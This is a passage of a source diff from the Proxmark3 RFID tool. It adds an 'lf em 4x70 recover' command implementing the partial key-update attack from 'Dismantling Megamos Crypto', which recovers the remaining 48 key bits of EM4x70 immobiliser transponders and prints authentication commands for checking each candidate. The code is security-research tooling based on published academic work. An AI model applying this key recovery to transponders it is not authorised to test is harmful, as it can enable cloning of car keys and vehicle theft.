} em4x70_recovery_data_t;
static int ValidateArgsForRecover(const char *Cmd, em4x70_recovery_data_t* out_results) {
memset(out_results, 0, sizeof(em4x70_recovery_data_t));
int result = PM3_SUCCESS;
CLIParserContext *ctx;
CLIParserInit(
&ctx,
"lf em 4x70 recover",
"After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover\n"
"key bits 47..00. By default, this process does NOT require a tag to be present.\n"
"\n"
"By default, the potential keys are shown (typically 1-6) along with a corresponding\n"
"'lf em 4x70 auth' command that will authenticate, if that potential key is correct.\n"
"The user can copy/paste these commands when the tag is present to manually check\n"
"which of the potential keys is correct.\n"
// "\n"
// "If the `--verify` option is provided, the tag must be present. The rnd/frn parameters will\n"
// "be used to authenticate against the tag, and then any potential keys will be automatically\n"
// "be checked for correctness against the tag, reducing manual steps.\n"
,
"lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n"
"lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n"
);
void *argtable[] = {
arg_param_begin,
arg_lit0(NULL, "par", "Add parity bit when sending commands"),
arg_str1("k", "key", "<hex>", "Key as 6 hex bytes"),
arg_str1(NULL, "rnd", "<hex>", "Random 56-bit"),
arg_str1(NULL, "frn", "<hex>", "F(RN) 28-bit as 4 hex bytes"),
arg_str1(NULL, "grn", "<hex>", "G(RN) 20-bit as 3 hex bytes"),
//arg_lit0(NULL, "verify", "automatically use tag for validation"),
arg_param_end
};
// do the command line arguments even parse?
if (CLIParserParseString(ctx, Cmd, argtable, arg_getsize(argtable), true)) {
result = PM3_ESOFT;
}
int key_len = 0; // must be 6 bytes hex data
int rnd_len = 0; // must be 7 bytes hex data
int frn_len = 0; // must be 4 bytes hex data
int grn_len = 0; // must be 3 bytes hex data
// if all OK so far, convert to internal data structure
if (PM3_SUCCESS == result) {
// magic number == index in argtable above. Fragile technique!
out_results->parity = arg_get_lit(ctx, 1);
if (CLIParamHexToBuf(arg_get_str(ctx, 2), &(out_results->key.k[0]), 12, &key_len)) {
result = PM3_ESOFT;
}
if (CLIParamHexToBuf(arg_get_str(ctx, 3), &(out_results->nonce.rn[0]), 7, &rnd_len)) {
result = PM3_ESOFT;
}
if (CLIParamHexToBuf(arg_get_str(ctx, 4), &(out_results->frn.frn[0]), 4, &frn_len)) {
result = PM3_ESOFT;
}
if (CLIParamHexToBuf(arg_get_str(ctx, 5), &(out_results->grn.grn[0]), 3, &grn_len)) {
result = PM3_ESOFT;
}
//out_results->verify = arg_get_lit(ctx, 6);
}
// if all OK so far, do additional parameter validation
if (PM3_SUCCESS == result) {
// Validate number of bytes read for hex data
if (key_len != 6) {
PrintAndLogEx(FAILED, "Key length must be 6 bytes instead of %d", key_len);
result = PM3_EINVARG;
}
if (rnd_len != 7) {
PrintAndLogEx(FAILED, "Random number length must be 7 bytes instead of %d", rnd_len);
result = PM3_EINVARG;
}
if (frn_len != 4) {
PrintAndLogEx(FAILED, "F(RN) length must be 4 bytes instead of %d", frn_len);
result = PM3_EINVARG;
}
if (grn_len != 3) {
PrintAndLogEx(FAILED, "G(RN) length must be 3 bytes instead of %d", grn_len);
result = PM3_EINVARG;
}
}
if (PM3_SUCCESS == result) {
ID48LIB_NONCE alt_n;
fill_buffer_prng_bytes(&alt_n, sizeof(ID48LIB_NONCE));
}
// single exit point
CLIParserFree(ctx);
return result;
}
int CmdEM4x70Recover(const char *Cmd) {
// From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege.
// Partial Key-Update Attack -- final 48 bits (after optimized version gets k95..k48)
em4x70_recovery_data_t recover_ctx = {0};
int result = PM3_SUCCESS;
result = ValidateArgsForRecover(Cmd, &recover_ctx);
// recover the potential keys -- no more than a few seconds
if (PM3_SUCCESS == result) {
// The library is stateful. First must initialize its internal context.
id48lib_key_recovery_init(&recover_ctx.key, &recover_ctx.nonce, &recover_ctx.frn, &recover_ctx.grn);
// repeatedly call id48lib_key_recovery_next() to get the next potential key
ID48LIB_KEY q;
while ((PM3_SUCCESS == result) && id48lib_key_recovery_next(&q)) {
if (recover_ctx.keys_found_count >= MAXIMUM_ID48_RECOVERED_KEY_COUNT) {
PrintAndLogEx(ERR, "ERROR: too many potential keys found. This is unexpected and likely a code failure.");
result = PM3_EFAILED;
} else {
recover_ctx.potential_keys[recover_ctx.keys_found_count] = q;
++recover_ctx.keys_found_count;
}
}
if (recover_ctx.keys_found_count == 0) {
PrintAndLogEx(ERR, "No potential keys recovered. This is unexpected and likely a code failure.");
result = PM3_EFAILED;
}
}
// generate alternate authentication for each potential key -- sub-second execution, no error paths
if (PM3_SUCCESS == result) {
for (uint8_t i = 0; i < recover_ctx.keys_found_count; ++i) {
// generate the alternate frn/grn for the alternate nonce
id48lib_generator(&recover_ctx.potential_keys[i], &recover_ctx.alt_nonce, &recover_ctx.alt_frn[i], &recover_ctx.alt_grn[i]);
}
}
// display alternate authentication for each potential key -- no error paths
if (PM3_SUCCESS == result) {
PrintAndLogEx(NORMAL, "Recovered %d potential keys:", recover_ctx.keys_found_count);
for (uint8_t i = 0; i < recover_ctx.keys_found_count; ++i) {
// generate an alternative authentication based on the potential key
// and the alternate nonce.
ID48LIB_KEY q = recover_ctx.potential_keys[i];
ID48LIB_FRN alt_frn = recover_ctx.alt_frn[i];
ID48LIB_GRN alt_grn = recover_ctx.alt_grn[i];
// dump the results to screen, to enable the user to manually check validity
// PrintAndLogEx() automatically adds newline, forcing this large parameter count
PrintAndLogEx(NORMAL,
"Potential Key #%d: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x"
" --> " _YELLOW_("lf em 4x70 auth --rnd %02X%02X%02X%02X%02X%02X%02X --frn %02X%02X%02X%02X")
" --> %02X%02X%02X\n",
i,
q.k[ 0], q.k[ 1], q.k[ 2], q.k[ 3], q.k[ 4], q.k[ 5],
q.k[ 6], q.k[ 7], q.k[ 8], q.k[ 9], q.k[10], q.k[11],
recover_ctx.alt_nonce.rn[0],
recover_ctx.alt_nonce.rn[1],
recover_ctx.alt_nonce.rn[2],
recover_ctx.alt_nonce.rn[3],
recover_ctx.alt_nonce.rn[4],
recover_ctx.alt_nonce.rn[5],
recover_ctx.alt_nonce.rn[6],
alt_frn.frn[0],
alt_frn.frn[1],
alt_frn.frn[2],
alt_frn.frn[3],
alt_grn.grn[0],
alt_grn.grn[1],
alt_grn.grn[2]
);
}
printf("\n");
}
if (PM3_SUCCESS == result && recover_ctx.verify) {
// TODO: automatic verification against a present tag.
// Updates ctx.potential_keys_validated[10] and ctx.keys_validated_count
PrintAndLogEx(WARNING, "Automatic verification against tag is not yet implemented.");
// 0. verify a tag is present
// 1. verify the parameters provided authenticate against the tag
// if not, print "Authentication failed. Verify the current tag matches parameters provided."
// print the authentication command used (allows user to easily copy/paste)
// SET ERROR
// 2. for each potential key:
// a. Attempt to authentic against the tag using alt_nonce and alt_frn[i]
// b. verify tag's response is alt_grn[i]
// c. if successful, set ctx.potential_keys_validated[i] = true and increment ctx.keys_validated_count
//
// All validation done... now just interpret the results....
//
// 3. if ctx.keys_validated_count == 0, print "No keys recovered. Check tag for good coupling (position, etc)?"
// 4. if ctx.keys_validated_count >= 2, print "Multiple keys recovered. Run command again (will use different alt nonce)?"
// 5. if ctx.keys_validated_count == 1, print "Found key: " ...
}
return result;
}
static command_t CommandTable[] = { static command_t CommandTable[] = {
{"help", CmdHelp, AlwaysAvailable, "This help"}, {"help", CmdHelp, AlwaysAvailable, "This help"},
{"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial Crypt Key"}, {"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial key"},
{"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"}, {"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"},
{"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"}, {"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"},
{"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"}, {"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"},
{"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"}, {"auth", CmdEM4x70Auth, IfPm3EM4x70, "Authenticate EM4x70"},
{"writepin", CmdEM4x70WritePIN, IfPm3EM4x70, "Write PIN"}, {"writepin", CmdEM4x70WritePIN, IfPm3EM4x70, "Write PIN"},
{"writekey", CmdEM4x70WriteKey, IfPm3EM4x70, "Write Crypt Key"}, {"writekey", CmdEM4x70WriteKey, IfPm3EM4x70, "Write key"},
{"recover", CmdEM4x70Recover, IfPm3EM4x70, "Recover remaining key from partial key"},
{NULL, NULL, NULL, NULL} {NULL, NULL, NULL, NULL}
}; };

View file

@ -31,7 +31,7 @@ int CmdEM4x70Unlock(const char *Cmd);
int CmdEM4x70Auth(const char *Cmd); int CmdEM4x70Auth(const char *Cmd);
int CmdEM4x70WritePIN(const char *Cmd); int CmdEM4x70WritePIN(const char *Cmd);
int CmdEM4x70WriteKey(const char *Cmd); int CmdEM4x70WriteKey(const char *Cmd);
//int CmdEM4x70Recover(const char *Cmd); int CmdEM4x70Recover(const char *Cmd);
// for `lf search`: // for `lf search`:
bool detect_4x70_block(void); bool detect_4x70_block(void);

View file

@ -13,12 +13,15 @@
// //
// See LICENSE.txt for the text of the license. // See LICENSE.txt for the text of the license.
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
// Low frequency EM4x70 structs // Low frequency EM4x70 structs -- common to both ARM firmware and client
//----------------------------------------------------------------------------- //-----------------------------------------------------------------------------
#ifndef EM4X70_H__ #ifndef EM4X70_H__
#define EM4X70_H__ #define EM4X70_H__
#include <stdint.h>
#include <stdbool.h>
#define EM4X70_NUM_BLOCKS 16 #define EM4X70_NUM_BLOCKS 16
// Common word/block addresses // Common word/block addresses
@ -26,6 +29,12 @@
#define EM4X70_PIN_WORD_UPPER 11 #define EM4X70_PIN_WORD_UPPER 11
typedef struct { typedef struct {
// ISSUE: `bool` type does not have a standard-defined size.
// therefore, compatibility between architectures /
// compilers is not guaranteed.
// ISSUE: C99 has no _Static_assert() ... was added in C11
// TODO: add _Static_assert(sizeof(bool)==1);
// TODO: add _Static_assert(sizeof(em4x70_data_t)==36);
bool parity; bool parity;
// Used for writing address // Used for writing address
@ -36,8 +45,9 @@ typedef struct {
uint32_t pin; uint32_t pin;
// Used for authentication // Used for authentication
uint8_t rnd[7];
uint8_t frnd[4]; uint8_t frnd[4];
uint8_t grnd[3];
uint8_t rnd[7];
// Used to write new key // Used to write new key
uint8_t crypt_key[12]; uint8_t crypt_key[12];